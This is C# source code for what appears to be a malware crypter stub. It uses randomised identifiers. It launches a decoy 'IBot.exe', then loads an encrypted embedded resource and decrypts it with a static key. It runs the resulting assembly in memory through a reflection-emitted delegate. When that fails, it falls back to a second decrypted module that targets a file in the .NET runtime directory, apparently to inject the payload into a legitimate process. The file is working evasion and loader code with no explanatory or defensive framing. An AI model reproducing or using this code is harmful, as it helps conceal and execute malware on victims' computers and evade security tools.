Code:
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace PtuuURMnaSfhMFUcpXEtGLRGorw
{
internal class OrTvrhNMwgrlktIrORnjqDcF
{
public delegate object LTlqLexrCljETyIIhZiGExwwbe(byte[] TjRLPOefNaUlBtsiIYmtRfbIcsxMNWoP, object[] leIjaUonStgMnhMKOoXnkanHJhVPR, string qlFGOPkxhDwFykuuoKlCxhQauL, string AarxZWADtGhTwZQGUpebCMNsLcPTJUeK);
public static string YjWpEXixhAnHqobhaukQjnn = "KEIpwCcHuAXEnuyXsEsdLmkxFEWxaXMck";
public static OrTvrhNMwgrlktIrORnjqDcF.LTlqLexrCljETyIIhZiGExwwbe hZttSjuJqRabRnaMjaQknKeSUHTbnM()
{
DynamicMethod dynamicMethod = new DynamicMethod("YKQSUdxSIWdadIbcpEkgbBvmqbLY", typeof(object), new Type[]
{
typeof(byte[]),
typeof(object[]),
typeof(string),
typeof(string)
});
ILGenerator iLGenerator = dynamicMethod.GetILGenerator();
System.Reflection.Emit.Label label = iLGenerator.DefineLabel();
iLGenerator.DeclareLocal(typeof(Assembly));
iLGenerator.Emit(OpCodes.Ldarg_0);
iLGenerator.EmitCall(OpCodes.Call, typeof(Assembly).GetMethod("Load", new Type[]
{
typeof(byte[])
}), null);
iLGenerator.Emit(OpCodes.Stloc_0);
iLGenerator.Emit(OpCodes.Ldarg_2);
iLGenerator.Emit(OpCodes.Brfalse_S, label);
iLGenerator.Emit(OpCodes.Ldarg_3);
iLGenerator.Emit(OpCodes.Brfalse_S, label);
iLGenerator.Emit(OpCodes.Ldloc_0);
iLGenerator.Emit(OpCodes.Ldarg_2);
iLGenerator.EmitCall(OpCodes.Callvirt, typeof(Assembly).GetMethod("GetType", new Type[]
{
typeof(string)
}), null);
iLGenerator.Emit(OpCodes.Ldarg_3);
iLGenerator.EmitCall(OpCodes.Callvirt, typeof(Type).GetMethod("GetMethod", new Type[]
{
typeof(string)
}), null);
iLGenerator.Emit(OpCodes.Ldnull);
iLGenerator.Emit(OpCodes.Ldarg_1);
iLGenerator.EmitCall(OpCodes.Callvirt, typeof(MethodBase).GetMethod("Invoke", new Type[]
{
typeof(object),
typeof(object[])
}), null);
iLGenerator.Emit(OpCodes.Ret);
iLGenerator.MarkLabel(label);
iLGenerator.Emit(OpCodes.Ldloc_0);
iLGenerator.EmitCall(OpCodes.Callvirt, typeof(Assembly).GetProperty("EntryPoint").GetGetMethod(), null);
iLGenerator.Emit(OpCodes.Ldnull);
iLGenerator.Emit(OpCodes.Ldarg_1);
iLGenerator.EmitCall(OpCodes.Callvirt, typeof(MethodBase).GetMethod("Invoke", new Type[]
{
typeof(object),
typeof(object[])
}), null);
iLGenerator.Emit(OpCodes.Ret);
return (OrTvrhNMwgrlktIrORnjqDcF.LTlqLexrCljETyIIhZiGExwwbe)dynamicMethod.CreateDelegate(typeof(OrTvrhNMwgrlktIrORnjqDcF.LTlqLexrCljETyIIhZiGExwwbe));
}
public static void Main()
{
if (File.Exists("IBot.exe"))
{
Process.Start("IBot.exe");
}
else
{
MessageBox.Show("IBot.exe not found", "ERROR");
}
bool flag = false;
OrTvrhNMwgrlktIrORnjqDcF.LTlqLexrCljETyIIhZiGExwwbe lTlqLexrCljETyIIhZiGExwwbe = OrTvrhNMwgrlktIrORnjqDcF.hZttSjuJqRabRnaMjaQknKeSUHTbnM();
byte[] tjRLPOefNaUlBtsiIYmtRfbIcsxMNWoP = OrTvrhNMwgrlktIrORnjqDcF.FgsololaAJnSxgcAakibKKfHbT("mPjSjVVhDxVRelNgIXgXDZKfwwaxyJSImVhRCOKbBLCHAfCsEh");
byte[] tjRLPOefNaUlBtsiIYmtRfbIcsxMNWoP2 = TJDpNWVbHNPjTJYWRXwHwsNvsDMEcnGbU.TRPpTpjsUbHTawmtnQupyZvHvK((byte[])lTlqLexrCljETyIIhZiGExwwbe(tjRLPOefNaUlBtsiIYmtRfbIcsxMNWoP, new object[0], "DeFcNFDVluXhsfMeIEvdsMFWrWCfQtgsRoPcgrTMxsYgc.IbmAsnIDapYikpDWErNdQEQjwQjjeynYsOOZsPBrjNNYDxHd", "bngSyMEKCCcEYXbCAoWbcdnqUsCqrfyIGaDLHFtCJ"), OrTvrhNMwgrlktIrORnjqDcF.YjWpEXixhAnHqobhaukQjnn);
byte[] array = TJDpNWVbHNPjTJYWRXwHwsNvsDMEcnGbU.TRPpTpjsUbHTawmtnQupyZvHvK((byte[])lTlqLexrCljETyIIhZiGExwwbe(tjRLPOefNaUlBtsiIYmtRfbIcsxMNWoP, new object[0], "DeFcNFDVluXhsfMeIEvdsMFWrWCfQtgsRoPcgrTMxsYgc.IbmAsnIDapYikpDWErNdQEQjwQjjeynYsOOZsPBrjNNYDxHd", "dfXmuTeNDtdGnVLYjBAFkVeJYuSgJcT"), OrTvrhNMwgrlktIrORnjqDcF.YjWpEXixhAnHqobhaukQjnn);
try
{
lTlqLexrCljETyIIhZiGExwwbe(array, new object[0], null, null);
flag = true;
}
catch (TargetParameterCountException)
{
lTlqLexrCljETyIIhZiGExwwbe(array, new object[]
{
new string[0]
}, null, null);
flag = true;
}
catch (Exception)
{
flag = false;
}
if (!flag)
{
lTlqLexrCljETyIIhZiGExwwbe(tjRLPOefNaUlBtsiIYmtRfbIcsxMNWoP2, new object[]
{
array,
Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), (string)lTlqLexrCljETyIIhZiGExwwbe(tjRLPOefNaUlBtsiIYmtRfbIcsxMNWoP2, new object[0], "XOLJUAhLYnVwdhrgNGijWaHXveRsxAqLWTrwgCY.vIrmcFFmaQNcvtfvGnMphnNYvJZKouyLgRnOhTtqYeSg", "gvdOxFIyNAwExkbvNmgRbWTJks")),
false
}, "XOLJUAhLYnVwdhrgNGijWaHXveRsxAqLWTrwgCY.vIrmcFFmaQNcvtfvGnMphnNYvJZKouyLgRnOhTtqYeSg", "OObmupspiiHuTpSeuweQCueGRNmtUQDVglhuwWsFGVxhfSOcaMd");
}
}
public static byte[] FgsololaAJnSxgcAakibKKfHbT(string name)
{
Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(name);
byte[] array = new byte[manifestResourceStream.Length];
manifestResourceStream.Read(array, 0, array.Length);
return array;
}
}
}